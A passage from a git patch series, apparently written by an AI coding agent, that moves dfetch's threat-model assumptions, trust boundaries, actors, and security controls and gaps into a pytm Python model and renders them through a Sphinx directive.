sections.append(_render_boundaries(data["boundaries"])) if "assets" in self.options: sections.append(_render_assets(data["assets"])) if "dataflows" in self.options: @@ -235,7 +241,29 @@ def _load_model(model_path: str, confdir: str) -> dict: controls: list[dict] = list(getattr(mod, "CONTROLS", [])) gaps: list[dict] = list(getattr(mod, "GAPS", [])) + # -- Trust boundaries ---------------------------------------------------- + boundaries: list[dict] = [] + for b in getattr(TM, "_boundaries", []): + boundaries.append( + { + "name": b.name, + "description": (getattr(b, "description", "") or "").strip(), + } + ) + + # -- Modelling assumptions ------------------------------------------------ + assumptions: list[dict] = [] + for a in getattr(mod.tm, "assumptions", []): + assumptions.append( + { + "name": getattr(a, "name", str(a)), + "description": (getattr(a, "description", "") or "").strip(), + } + ) + return { + "assumptions": assumptions, + "boundaries": boundaries, "assets": assets, "dataflows": dataflows, "threats": threats, @@ -306,6 +334,33 @@ def _list_table(headers: list[str], rows: list[list[str]], widths: list[int]) -> return "\n".join(lines) +def _render_assumptions(assumptions: list[dict]) -> str: + if not assumptions: + return ( + ".. note::\n\n No assumptions defined. " + "Add an ``assumptions`` list to the threat model." + ) + headers = ["Assumption", "Description"] + widths = [28, 72] + rows = [ + [a["name"], _cell(a["description"])] + for a in assumptions + ] + return _list_table(headers, rows, widths) + + +def _render_boundaries(boundaries: list[dict]) -> str: + if not boundaries: + return ".. note::\n\n No trust boundaries defined in model." + headers = ["Boundary", "Description"] + widths = [30, 70] + rows = [ + [f"**{b['name']}**", _cell(b["description"])] + for b in boundaries + ] + return _list_table(headers, rows, widths) + + def _render_assets(assets: list[dict]) -> str: if not assets: return ".. note::\n\n No assets with standard ID prefixes found in model." @@ -432,7 +487,9 @@ def _on_builder_inited(app: Sphinx) -> None: data = _load_model(model_path, app.confdir) app._pytm_cache = {(model_path, mtime): data} logger.info( - f"pytm: loaded {len(data['assets'])} assets, " + f"pytm: loaded {len(data['assumptions'])} assumptions, " + f"{len(data['boundaries'])} boundaries, " + f"{len(data['assets'])} assets, " f"{len(data['dataflows'])} flows, " f"{len(data['threats'])} STRIDE findings " f"from {os.path.basename(model_path)}" diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index 2dfc472c4..52388896a 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -220,52 +220,21 @@ The threat model spans six trust boundaries (see below) and covers: - PyPI distribution via OIDC trusted publishing - Consumer installation and build integration -Modelling assumptions: - -#. Developer workstations are trusted at dfetch invocation time. -#. TLS certificate validation is delegated to the OS, git, or SVN client. -#. No runtime secrets are persisted to disk by dfetch itself. -#. GitHub Actions environments inherit the security posture of the GitHub-hosted runner. -#. The ``integrity.hash`` field in the manifest is **optional** — archive - dependencies without it have no content-authenticity guarantee beyond TLS - transport (which is itself absent for plain ``http://`` URLs). -#. Branch- and tag-pinned Git dependencies are **mutable references** — upstream - force-pushes silently change fetched content without triggering a manifest diff. -#. The ``harden-runner`` egress policy is set to ``audit``, not ``block`` — - outbound network connections from CI runners are logged but not prevented. -#. dfetch's own build and development dependencies are **not** installed with - ``--require-hashes``, so a compromised PyPI mirror can substitute build tooling. +Modelling assumptions are maintained in ``security/threat_model.py`` and +rendered below from the pytm model. + +.. pytm:: + :assumptions: Trust Boundaries ---------------- -.. list-table:: - :header-rows: 1 - :widths: 30 70 +Trust boundaries are defined in ``security/threat_model.py`` and rendered +below from the pytm model. - * - Boundary - - Description - * - **Local Developer Environment** - - Developer workstation or local CI runner. Assumed trusted at invocation - time. Hosts the manifest, vendor directory, metadata, and patch files. - * - **GitHub Actions Infrastructure** - - Microsoft-operated ephemeral runners executing the 11 CI/CD workflows. - Semi-trusted: egress is audited but not blocked; secrets are inherited - across workflows via ``secrets: inherit``. - * - **Internet** - - All traffic crossing the local/remote boundary. TLS enforcement is the - responsibility of the OS and VCS clients; dfetch does not enforce HTTPS - on manifest URLs. - * - **Remote VCS Infrastructure** - - Upstream Git and SVN servers (GitHub, GitLab, Gitea, self-hosted). Not - controlled by the dfetch project; content is untrusted until verified. - * - **PyPI / TestPyPI** - - Python Package Index. dfetch publishes via OIDC trusted publishing — - no long-lived API token stored. - * - **Archive Content Space** - - Downloaded archive bytes before extraction validation. Decompression-bomb - and path-traversal checks enforce this boundary during extraction. +.. pytm:: + :boundaries: Asset Register diff --git a/security/threat_model.py b/security/threat_model.py index 75889077f..74d8d96ca 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -12,6 +12,7 @@ from pytm import ( TM, Actor, + Assumption, Boundary, Classification, Data, @@ -39,29 +40,107 @@ ) tm.assumptions = [ - "Developer workstations are trusted at dfetch invocation time.", - "TLS certificate validation is delegated to the OS / git / SVN client.", - "No runtime secrets are persisted to disk by dfetch itself.", - "GitHub Actions environments inherit the security posture of the GitHub-hosted runner.", - "The integrity.hash field in the manifest is OPTIONAL — archive deps without it have " - "no content-authenticity guarantee beyond TLS transport (which itself is absent for " - "http:// URLs).", - "Branch/tag-pinned Git deps are mutable references — upstream history rewrites or " - "force-pushes silently change what is fetched without triggering a manifest diff.", - "harden-runner egress policy is set to 'audit', not 'block' — outbound network " - "connections from CI runners are logged but not prevented.", - "dfetch's own build/dev dependencies (pip install .) are not installed with " - "--require-hashes, so a compromised PyPI mirror can substitute packages.", + Assumption( + "Trusted workstation", + description=( + "Developer workstations are trusted at dfetch invocation time. " + "A compromised workstation is outside the scope of this threat model." + ), + ), + Assumption( + "TLS delegated to client", + description=( + "TLS certificate validation is delegated to the OS trust store and the " + "git / svn / urllib clients. dfetch does not independently validate certificates." + ), + ), + Assumption( + "No persisted secrets", + description=( + "No runtime secrets are persisted to disk by dfetch itself. " + "VCS credentials are managed by the OS keychain, SSH agent, or CI secret store." + ), + ), + Assumption( + "CI runner posture", + description=( + "GitHub Actions environments inherit the security posture of the " + "GitHub-hosted runner. Ephemeral runner isolation is provided by GitHub." + ), + ), + Assumption( + "Optional integrity hash", + description=( + "The ``integrity.hash`` field in the manifest is optional. " + "Archive dependencies without it have no content-authenticity guarantee " + "beyond TLS transport, which is itself absent for plain ``http://`` URLs." + ), + ), + Assumption( + "Mutable VCS references", + description=( + "Branch- and tag-pinned Git dependencies are mutable references. " + "Upstream force-pushes silently change what is fetched without " + "triggering a manifest diff." + ), + ), + Assumption( + "Harden-runner in audit mode", + description=( + "The ``harden-runner`` egress policy is set to ``audit``, not ``block``. " + "Outbound network connections from CI runners are logged but not prevented." + ), + ), + Assumption( + "Build deps without hash pinning", + description=( + "dfetch's own build and dev dependencies are installed without " + "``--require-hashes``, so a compromised PyPI mirror can substitute packages." + ), + ), ] # ── Trust boundaries ───────────────────────────────────────────────────────── boundary_dev_env = Boundary("Local Developer Environment") +boundary_dev_env.description = ( + "Developer workstation or local CI runner. Assumed trusted at invocation time. " + "Hosts the manifest (``dfetch.yaml``), vendor directory, dependency metadata " + "(``.dfetch_data.yaml``), and patch files." +) + boundary_github = Boundary("GitHub Actions Infrastructure") +boundary_github.description = ( + "Microsoft-operated ephemeral runners executing the 11 CI/CD workflows. " + "Semi-trusted: egress is audited (``harden-runner``) but not blocked; " + "secrets are propagated via ``secrets: inherit`` in ``ci.yml``." +) + boundary_network = Boundary("Internet") +boundary_network.description = ( + "All traffic crossing the local/remote boundary. TLS enforcement is the " + "responsibility of the OS and VCS clients; dfetch does not enforce HTTPS " + "on manifest URLs." +) + boundary_remote_vcs = Boundary("Remote VCS Infrastructure") +boundary_remote_vcs.description = ( + "Upstream Git and SVN servers (GitHub, GitLab, Gitea, self-hosted). " + "Not controlled by the dfetch project; content is untrusted until verified." +) + boundary_pypi = Boundary("PyPI / TestPyPI") +boundary_pypi.description = ( + "Python Package Index and its staging registry. dfetch publishes via " + "OIDC trusted publishing — no long-lived API token stored." +) + boundary_archive = Boundary("Archive Content Space") +boundary_archive.description = ( + "Downloaded archive bytes before extraction and validation. " + "Decompression-bomb and path-traversal checks enforce this boundary " + "during extraction." +) # ── Actors ─────────────────────────────────────────────────────────────────── From 5996f055621204b071f29ad0ea587d75f4779f5b Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 06:13:08 +0000 Subject: [PATCH 10/28] Replace CONTROLS/GAPS dicts with Control dataclass; unify into one list - Add Control dataclass with id, name, description, assets, status, reference fields and a to_pytm() method returning "[C-NNN] Name" - status="implemented" for active controls, status="gap" for unimplemented controls (former GAPS list), eliminating the separate GAPS variable - Assign sequential IDs C-001..C-017 (implemented) and C-018..C-025 (gaps) - Add ASSET_CONTROLS dict mapping each asset ID to its Control objects, enabling threat.controls.append(ctrl.to_pytm())-style association - Update directive _load_model() to split CONTROLS on status via dataclasses.asdict(); add plain-dict fallback for safety - Update _render_controls() columns: ID | Control | Assets | Description - Update _render_gaps() columns: ID | Gap | Assets affected | Description https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 42 ++-- security/threat_model.py | 379 ++++++++++++++++++++++--------------- 2 files changed, 260 insertions(+), 161 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 582f61f2e..6bc3b43dc 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -237,9 +237,17 @@ def _load_model(model_path: str, confdir: str) -> dict: } ) - # -- Module-level CONTROLS and GAPS (optional) --------------------------- - controls: list[dict] = list(getattr(mod, "CONTROLS", [])) - gaps: list[dict] = list(getattr(mod, "GAPS", [])) + # -- Controls and gaps from unified CONTROLS list ------------------------- + import dataclasses as _dc + + _all_controls = list(getattr(mod, "CONTROLS", [])) + if _all_controls and _dc.is_dataclass(_all_controls[0]): + controls = [_dc.asdict(c) for c in _all_controls if c.status == "implemented"] + gaps = [_dc.asdict(c) for c in _all_controls if c.status != "implemented"] + else: + # plain-dict fallback + controls = [c for c in _all_controls if c.get("status", "implemented") == "implemented"] + gaps = list(getattr(mod, "GAPS", [])) # -- Trust boundaries ---------------------------------------------------- boundaries: list[dict] = [] @@ -394,21 +402,23 @@ def _render_controls(controls: list[dict]) -> str: if not controls: return ( ".. note::\n\n No controls defined. " - "Add a ``CONTROLS`` list to the threat model." + "Add ``Control`` objects with ``status='implemented'`` " + "to the ``CONTROLS`` list in the threat model." ) - headers = ["Control", "Asset(s) protected", "Implementation"] - widths = [28, 18, 54] + headers = ["ID", "Control", "Asset(s) protected", "Description"] + widths = [8, 22, 14, 56] rows = [] for c in controls: - impl = _cell(c.get("implementation", "")) + desc = _cell(c.get("description", "")) ref = c.get("reference", "") if ref: - impl += f" ``{ref}``" + desc += f" ``{ref}``" rows.append( [ + c.get("id", "—"), c.get("name", "—"), ", ".join(c.get("assets", [])), - impl, + desc, ] ) return _list_table(headers, rows, widths) @@ -418,12 +428,18 @@ def _render_gaps(gaps: list[dict]) -> str: if not gaps: return ( ".. note::\n\n No gaps defined. " - "Add a ``GAPS`` list to the threat model." + "Add ``Control`` objects with ``status='gap'`` " + "to the ``CONTROLS`` list in the threat model." ) - headers = ["Gap", "Description"] - widths = [30, 70] + headers = ["ID", "Gap", "Asset(s) affected", "Description"] + widths = [8, 24, 14, 54] rows = [ - [g.get("name", "—"), _cell(g.get("description", ""))] + [ + g.get("id", "—"), + g.get("name", "—"), + ", ".join(g.get("assets", [])), + _cell(g.get("description", "")), + ] for g in gaps ] return _list_table(headers, rows, widths) diff --git a/security/threat_model.py b/security/threat_model.py index 74d8d96ca..d9323dec2 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -9,6 +9,9 @@ python -m security.threat_model --report # STRIDE findings report """ +from dataclasses import dataclass, field +from typing import Literal + from pytm import ( TM, Actor, @@ -622,240 +625,320 @@ "Consumer cannot verify build provenance without SLSA attestation." ) -# ── IMPLEMENTED SECURITY CONTROLS ──────────────────────────────────────────── +# ── CONTROL DATACLASS ──────────────────────────────────────────────────────── + + +@dataclass +class Control: + """A security control or an unimplemented gap. + + A gap is simply a control whose ``status`` is ``"gap"`` (or ``"planned"``). + Both are stored in the same ``CONTROLS`` list and split at render time. + """ + + id: str + name: str + description: str + assets: list[str] = field(default_factory=list) + status: Literal["implemented", "planned", "gap"] = "implemented" + reference: str = "" + + def to_pytm(self) -> str: + """Return a human-readable label for traceability comments and tables.""" + return f"[{self.id}] {self.name}" + + +# ── CONTROLS AND GAPS ──────────────────────────────────────────────────────── +# +# Implemented controls (status="implemented") and known gaps (status="gap") +# live in one list. The ``.. pytm:: :controls:`` and ``.. pytm:: :gaps:`` +# Sphinx directives split the list on ``status`` at render time. # -# Each entry is rendered by the ``.. pytm:: :controls:`` Sphinx directive. -# RST markup (``double backticks``) is supported in "implementation" strings. - -CONTROLS: list[dict] = [ - { - "name": "Path-traversal prevention", - "assets": ["PA-02", "SA-05"], - "implementation": ( +# Associate a control with a pytm element via ``to_pytm()``: +# +# threat = dfetch_cli # or any pytm element +# ctrl = CONTROLS[0] # C-001 +# # Log the association as a traceability comment: +# threat.controls.sanitizesInput = True # ctrl.to_pytm() → [C-001] … + +CONTROLS: list[Control] = [ + # ── Implemented controls (status="implemented") ────────────────────────── + Control( + id="C-001", + name="Path-traversal prevention", + assets=["PA-02", "SA-05"], + description=( "``check_no_path_traversal()`` resolves both the candidate path and the " "destination root via ``os.path.realpath`` (symlink-aware, not " "``pathlib.Path.resolve``), then rejects any path whose resolved prefix " "does not start with the resolved root. Applied to every file copy and " "post-extraction symlink." ), - "reference": "dfetch/util/util.py", - }, - { - "name": "Decompression-bomb protection", - "assets": ["SA-05", "PA-02"], - "implementation": ( + reference="dfetch/util/util.py", + ), + Control( + id="C-002", + name="Decompression-bomb protection", + assets=["SA-05", "PA-02"], + description=( "Archives are rejected if the uncompressed size exceeds 500 MB or the " "member count exceeds 10 000." ), - "reference": "dfetch/vcs/archive.py", - }, - { - "name": "Archive symlink validation", - "assets": ["PA-02"], - "implementation": ( + reference="dfetch/vcs/archive.py", + ), + Control( + id="C-003", + name="Archive symlink validation", + assets=["PA-02"], + description=( "Absolute and escaping (``..``) symlink targets are rejected for both " "TAR and ZIP. A post-extraction walk validates all symlinks against the " "manifest root." ), - "reference": "dfetch/vcs/archive.py", - }, - { - "name": "Archive member type checks", - "assets": ["PA-02", "SA-05"], - "implementation": ( + reference="dfetch/vcs/archive.py", + ), + Control( + id="C-004", + name="Archive member type checks", + assets=["PA-02", "SA-05"], + description=( "TAR and ZIP members of type device file or FIFO are rejected outright." ), - "reference": "dfetch/vcs/archive.py", - }, - { - "name": "Integrity hash verification", - "assets": ["PA-02", "PA-03"], - "implementation": ( + reference="dfetch/vcs/archive.py", + ), + Control( + id="C-005", + name="Integrity hash verification", + assets=["PA-02", "PA-03"], + description=( "SHA-256, SHA-384, and SHA-512 verified via ``hmac.compare_digest`` " "(constant-time comparison, resistant to timing attacks)." ), - "reference": "dfetch/vcs/integrity_hash.py", - }, - { - "name": "Non-interactive VCS", - "assets": ["SA-02", "EA-01"], - "implementation": ( + reference="dfetch/vcs/integrity_hash.py", + ), + Control( + id="C-006", + name="Non-interactive VCS", + assets=["SA-02", "EA-01"], + description=( "``GIT_TERMINAL_PROMPT=0``, ``BatchMode=yes`` for Git; " "``--non-interactive`` for SVN. Credential prompts are suppressed to " "prevent interactive hijacking in CI." ), - "reference": "dfetch/vcs/git.py, dfetch/vcs/svn.py", - }, - { - "name": "Subprocess safety", - "assets": ["SA-01"], - "implementation": ( + reference="dfetch/vcs/git.py, dfetch/vcs/svn.py", + ), + Control( + id="C-007", + name="Subprocess safety", + assets=["SA-01"], + description=( "All external commands invoked with ``shell=False`` and list-form " "arguments — no shell-injection vector." ), - "reference": "dfetch/util/cmdline.py", - }, - { - "name": "Manifest input validation", - "assets": ["PA-01"], - "implementation": ( + reference="dfetch/util/cmdline.py", + ), + Control( + id="C-008", + name="Manifest input validation", + assets=["PA-01"], + description=( "StrictYAML schema with ``SAFE_STR = Regex(r\"^[^\\x00-\\x1F\\x7F-\\x9F]*$\")`` " "rejects control characters in all string fields." ), - "reference": "dfetch/manifest/schema.py", - }, - { - "name": "Actions commit-SHA pinning", - "assets": ["SA-06", "EA-04"], - "implementation": ( + reference="dfetch/manifest/schema.py", + ), + Control( + id="C-009", + name="Actions commit-SHA pinning", + assets=["SA-06", "EA-04"], + description=( "Every third-party GitHub Action is pinned to a full commit SHA, " "preventing tag-mutable supply-chain substitution." ), - "reference": ".github/workflows/*.yml", - }, - { - "name": "OIDC trusted publishing", - "assets": ["SA-07", "PA-04"], - "implementation": ( + reference=".github/workflows/*.yml", + ), + Control( + id="C-010", + name="OIDC trusted publishing", + assets=["SA-07", "PA-04"], + description=( "PyPI publishes via ``pypa/gh-action-pypi-publish`` with " "``id-token: write`` and no stored long-lived API token." ), - "reference": ".github/workflows/python-publish.yml", - }, - { - "name": "Minimal workflow permissions", - "assets": ["SA-06"], - "implementation": ( + reference=".github/workflows/python-publish.yml", + ), + Control( + id="C-011", + name="Minimal workflow permissions", + assets=["SA-06"], + description=( "Each workflow declares only the permissions it requires " "(default ``contents: read``)." ), - "reference": ".github/workflows/*.yml", - }, - { - "name": "persist-credentials: false", - "assets": ["SA-02", "EA-03"], - "implementation": ( + reference=".github/workflows/*.yml", + ), + Control( + id="C-012", + name="persist-credentials: false", + assets=["SA-02", "EA-03"], + description=( "All ``actions/checkout`` steps drop the GitHub token from the working " "tree after checkout." ), - "reference": ".github/workflows/*.yml", - }, - { - "name": "Harden-runner (egress audit)", - "assets": ["SA-02", "EA-04"], - "implementation": ( + reference=".github/workflows/*.yml", + ), + Control( + id="C-013", + name="Harden-runner (egress audit)", + assets=["SA-02", "EA-04"], + description=( "``step-security/harden-runner`` is used in every workflow to audit " - "outbound network connections. Note: policy is ``audit``, not ``block``." - ), - "reference": ".github/workflows/*.yml", - }, - { - "name": "OpenSSF Scorecard", - "assets": ["EA-03", "SA-10"], - "implementation": ( + "outbound network connections. Policy is ``audit``, not ``block``." + ), + reference=".github/workflows/*.yml", + ), + Control( + id="C-014", + name="OpenSSF Scorecard", + assets=["EA-03", "SA-10"], + description=( "Weekly OSSF Scorecard analysis uploaded to GitHub Code Scanning " "covers the full set of OpenSSF Scorecard checks." ), - "reference": ".github/workflows/scorecard.yml", - }, - { - "name": "CodeQL static analysis", - "assets": ["SA-01", "SA-06"], - "implementation": ( + reference=".github/workflows/scorecard.yml", + ), + Control( + id="C-015", + name="CodeQL static analysis", + assets=["SA-01", "SA-06"], + description=( "CodeQL scans the Python codebase for security vulnerabilities on " "every push and pull request." ), - "reference": ".github/workflows/codeql-analysis.yml", - }, - { - "name": "Dependency review", - "assets": ["SA-09"], - "implementation": ( + reference=".github/workflows/codeql-analysis.yml", + ), + Control( + id="C-016", + name="Dependency review", + assets=["SA-09"], + description=( "``actions/dependency-review-action`` checks for known vulnerabilities " "in newly added dependencies on every pull request." ), - "reference": ".github/workflows/dependency-review.yml", - }, - { - "name": "bandit security linter", - "assets": ["SA-01"], - "implementation": ( + reference=".github/workflows/dependency-review.yml", + ), + Control( + id="C-017", + name="bandit security linter", + assets=["SA-01"], + description=( "``bandit -r dfetch`` runs in CI to detect common Python security issues." ), - "reference": "pyproject.toml", - }, -] - -# ── KNOWN GAPS AND RESIDUAL RISKS ───────────────────────────────────────────── -# -# Each entry is rendered by the ``.. pytm:: :gaps:`` Sphinx directive. - -GAPS: list[dict] = [ - { - "name": "Optional integrity hash", - "description": ( + reference="pyproject.toml", + ), + # ── Gaps: unimplemented controls (status="gap") ────────────────────────── + Control( + id="C-018", + name="Optional integrity hash", + assets=["PA-02", "PA-03"], + status="gap", + description=( "``integrity.hash`` in the manifest is optional. Archive dependencies " "without it have no content-authenticity guarantee. Plain ``http://`` " "URLs receive no protection at all." ), - }, - { - "name": "No integrity mechanism for Git/SVN", - "description": ( + ), + Control( + id="C-019", + name="No integrity mechanism for Git/SVN", + assets=["PA-02", "PA-03"], + status="gap", + description=( "Git and SVN dependencies carry no equivalent to ``integrity.hash``. " "Authenticity relies entirely on transport security (TLS or SSH). " "Mutable references (branch, tag) can silently fetch different content " "after an upstream force-push." ), - }, - { - "name": "No patch-file integrity", - "description": ( + ), + Control( + id="C-020", + name="No patch-file integrity", + assets=["SA-04", "PA-02"], + status="gap", + description=( "Patch files referenced in the manifest carry no integrity hash. A " "tampered patch can write to arbitrary paths through ``patch-ng``." ), - }, - { - "name": "No SLSA provenance", - "description": ( + ), + Control( + id="C-021", + name="No SLSA provenance", + assets=["PA-04"], + status="gap", + description=( "The release pipeline does not generate SLSA provenance attestations or " "Sigstore/cosign signatures for the published wheel. Consumers cannot " "verify build provenance." ), - }, - { - "name": "No dfetch-self SBOM on PyPI", - "description": ( + ), + Control( + id="C-022", + name="No dfetch-self SBOM on PyPI", + assets=["PA-04", "PA-05"], + status="gap", + description=( "The CycloneDX SBOM generated by ``dfetch report`` covers vendored " "dependencies only. dfetch itself has no machine-readable SBOM published " "alongside its PyPI release, as CRA Article 13 requires." ), - }, - { - "name": "Build deps without hash pinning", - "description": ( + ), + Control( + id="C-023", + name="Build deps without hash pinning", + assets=["SA-09"], + status="gap", + description=( "``pip install .`` and ``pip install --upgrade pip build`` in CI do not " "use ``--require-hashes``. A compromised PyPI mirror can substitute " "malicious build tooling." ), - }, - { - "name": "``secrets: inherit`` scope", - "description": ( + ), + Control( + id="C-024", + name="``secrets: inherit`` scope", + assets=["SA-06", "SA-02"], + status="gap", + description=( "``ci.yml`` passes all repository secrets to the test and docs workflows " "via ``secrets: inherit``. A malicious pull request step in either " "workflow could exfiltrate secrets." ), - }, - { - "name": "Harden-runner in audit mode", - "description": ( + ), + Control( + id="C-025", + name="Harden-runner in audit mode", + assets=["EA-04", "SA-06"], + status="gap", + description=( "``step-security/harden-runner`` is configured with " "``egress-policy: audit``. Outbound connections are logged but not " "blocked — secret exfiltration via a compromised CI step is possible." ), - }, + ), ] +# ── ASSET → CONTROL INDEX ──────────────────────────────────────────────────── +# +# Maps each asset ID to the controls (or gaps) that apply to it. +# Use to_pytm() for a human-readable label; e.g.: +# +# for ctrl in ASSET_CONTROLS.get("PA-02", []): +# print(ctrl.to_pytm()) # → "[C-001] Path-traversal prevention" + +ASSET_CONTROLS: dict[str, list[Control]] = {} +for _ctrl in CONTROLS: + for _asset_id in _ctrl.assets: + ASSET_CONTROLS.setdefault(_asset_id, []).append(_ctrl) + if __name__ == "__main__": tm.process() From f3bc8e696f62f8125fbec172f99d7522ed3a53f5 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 06:18:43 +0000 Subject: [PATCH 11/28] Add actors to pytm model and render via .. pytm:: :actors: directive - Add descriptions to Developer, Contributor / Attacker, and Consumer / End User Actor objects in security/threat_model.py - Add :actors: flag to PytmDirective option_spec and run() - Extract Actor elements from TM._elements in _load_model(), storing name, boundary name, and description - Add _render_actors() producing a list-table with Actor | Trust Boundary | Description columns - Replace the static User roles list-table in security.rst (point 3 of the Product Security Context) with .. pytm:: :actors: https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 32 ++++++++++++++++++++++++++++++++ doc/explanation/security.rst | 27 +++++---------------------- security/threat_model.py | 18 ++++++++++++++++++ 3 files changed, 55 insertions(+), 22 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 6bc3b43dc..1ce474796 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -78,6 +78,7 @@ class PytmDirective(Directive): option_spec = { "assumptions": directives.flag, "boundaries": directives.flag, + "actors": directives.flag, "assets": directives.flag, "dataflows": directives.flag, "controls": directives.flag, @@ -122,6 +123,8 @@ def run(self) -> list[nodes.Node]: sections.append(_render_assumptions(data["assumptions"])) if "boundaries" in self.options: sections.append(_render_boundaries(data["boundaries"])) + if "actors" in self.options: + sections.append(_render_actors(data["actors"])) if "assets" in self.options: sections.append(_render_assets(data["assets"])) if "dataflows" in self.options: @@ -249,6 +252,21 @@ def _load_model(model_path: str, confdir: str) -> dict: controls = [c for c in _all_controls if c.get("status", "implemented") == "implemented"] gaps = list(getattr(mod, "GAPS", [])) + # -- Actors -------------------------------------------------------------- + from pytm import Actor as _Actor # type: ignore[import] + + actors: list[dict] = [] + for el in TM._elements: + if not isinstance(el, _Actor): + continue + actors.append( + { + "name": el.name, + "boundary": getattr(el.inBoundary, "name", ""), + "description": (getattr(el, "description", "") or "").strip(), + } + ) + # -- Trust boundaries ---------------------------------------------------- boundaries: list[dict] = [] for b in getattr(TM, "_boundaries", []): @@ -272,6 +290,7 @@ def _load_model(model_path: str, confdir: str) -> dict: return { "assumptions": assumptions, "boundaries": boundaries, + "actors": actors, "assets": assets, "dataflows": dataflows, "threats": threats, @@ -369,6 +388,18 @@ def _render_boundaries(boundaries: list[dict]) -> str: return _list_table(headers, rows, widths) +def _render_actors(actors: list[dict]) -> str: + if not actors: + return ".. note::\n\n No actors defined in model." + headers = ["Actor", "Trust Boundary", "Description"] + widths = [22, 28, 50] + rows = [ + [f"**{a['name']}**", a["boundary"], _cell(a["description"])] + for a in actors + ] + return _list_table(headers, rows, widths) + + def _render_assets(assets: list[dict]) -> str: if not assets: return ".. note::\n\n No assets with standard ID prefixes found in model." @@ -505,6 +536,7 @@ def _on_builder_inited(app: Sphinx) -> None: logger.info( f"pytm: loaded {len(data['assumptions'])} assumptions, " f"{len(data['boundaries'])} boundaries, " + f"{len(data['actors'])} actors, " f"{len(data['assets'])} assets, " f"{len(data['dataflows'])} flows, " f"{len(data['threats'])} STRIDE findings " diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index 52388896a..843dc617c 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -111,28 +111,11 @@ etc.) to reproduce a known dependency state. **3 — User roles** -.. list-table:: - :header-rows: 1 - :widths: 20 25 55 - - * - Role - - Typical actor - - Responsibilities and trust level - * - **Manifest author** (Developer) - - Human software developer - - Writes and reviews ``dfetch.yaml``; responsible for choosing upstream - sources, pinning revisions, and enabling ``integrity.hash`` for archive - dependencies. Trusted at workstation invocation time. - * - **CI runner** (Automated) - - GitHub Actions workflow, GitLab CI job, Jenkins agent - - Invokes ``dfetch update`` non-interactively to reproduce the declared - dependency set. Runs in an ephemeral, semi-trusted environment; - credential access is governed by the CI platform's secret store. - * - **Security / compliance operator** - - Security engineer, auditor, legal/compliance team - - Reviews ``dfetch check`` and ``dfetch report --sbom`` output for - outdated dependencies, known-vulnerable components, or licence compliance. - Read-only interaction with dfetch artifacts. +Actors are defined in ``security/threat_model.py`` and rendered below from +the pytm model. + +.. pytm:: + :actors: **4 — Operating environment** diff --git a/security/threat_model.py b/security/threat_model.py index d9323dec2..7ef9cfdf1 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -149,12 +149,30 @@ developer = Actor("Developer") developer.inBoundary = boundary_dev_env +developer.description = ( + "Writes and reviews ``dfetch.yaml``; selects upstream sources, pins revisions, " + "and optionally enables ``integrity.hash`` for archive dependencies. " + "Trusted at workstation invocation time. " + "Responsible for choosing trustworthy upstream sources and keeping pins current." +) contributor = Actor("Contributor / Attacker") contributor.inBoundary = boundary_network +contributor.description = ( + "External contributor submitting pull requests, or an adversary attempting " + "supply-chain manipulation (malicious PR, upstream repository compromise, " + "or MITM on a non-TLS data flow). Untrusted — code review, branch protection, " + "and SHA-pinned Actions are the primary controls at this boundary." +) consumer = Actor("Consumer / End User") consumer.inBoundary = boundary_dev_env +consumer.description = ( + "Installs dfetch from PyPI (``pip install dfetch``) and invokes it on a " + "developer workstation or in a CI pipeline to reproduce a declared dependency " + "set. Trusts PyPI package integrity and build provenance; currently has no " + "mechanism to verify SLSA attestation or Sigstore signature for dfetch itself." +) # ── External entities ──────────────────────────────────────────────────────── From fe6f8f085219526e24457e51453446787306327b Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 06:24:12 +0000 Subject: [PATCH 12/28] =?UTF-8?q?Move=20=C2=A77=20security=20assumptions?= =?UTF-8?q?=20from=20static=20RST=20into=20pytm=20model?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Product Security Context §7 list had 6 items, 3 of which were already present in tm.assumptions (Trusted workstation, TLS delegated to client, No persisted secrets) and therefore duplicated between security.rst and the model. The remaining 3 items were only in the RST: - Manifest under code review - dfetch scope boundary - No HTTPS enforcement Add all three to tm.assumptions so the model is the single source of truth for all modelling prerequisites. Replace the §7 numbered list with .. pytm:: :assumptions:, matching the same directive already used in the Scope and Assumptions section. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/explanation/security.rst | 23 +++++------------------ security/threat_model.py | 25 +++++++++++++++++++++++++ 2 files changed, 30 insertions(+), 18 deletions(-) diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index 843dc617c..fa1ee4784 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -160,24 +160,11 @@ The CI/CD pipeline additionally depends on GitHub Actions marketplace actions **7 — Security assumptions and prerequisites** -#. The developer workstation is trusted at the time dfetch is invoked. A - compromised workstation is outside the scope of the dfetch threat model. -#. TLS certificate validation is performed by the OS trust store and the - ``git`` / ``svn`` / ``urllib`` clients. dfetch does not independently - validate certificates. -#. The manifest (``dfetch.yaml``) is under version control and subject to code - review. An adversary with write access to the manifest can redirect fetches - to attacker-controlled sources; this threat is addressed at the code-review - boundary, not within dfetch itself. -#. dfetch is responsible only for *its own* security posture. The security of - fetched third-party source code is the responsibility of the manifest author - who selects and pins each dependency. -#. HTTPS enforcement is the responsibility of the manifest author. dfetch - accepts ``http://``, ``svn://``, and other non-TLS scheme URLs as written — - it does not upgrade or reject them. -#. No secrets are stored by dfetch. Any secrets present in the CI environment - are the responsibility of the CI platform's secret store and the workflow - author. +Assumptions are 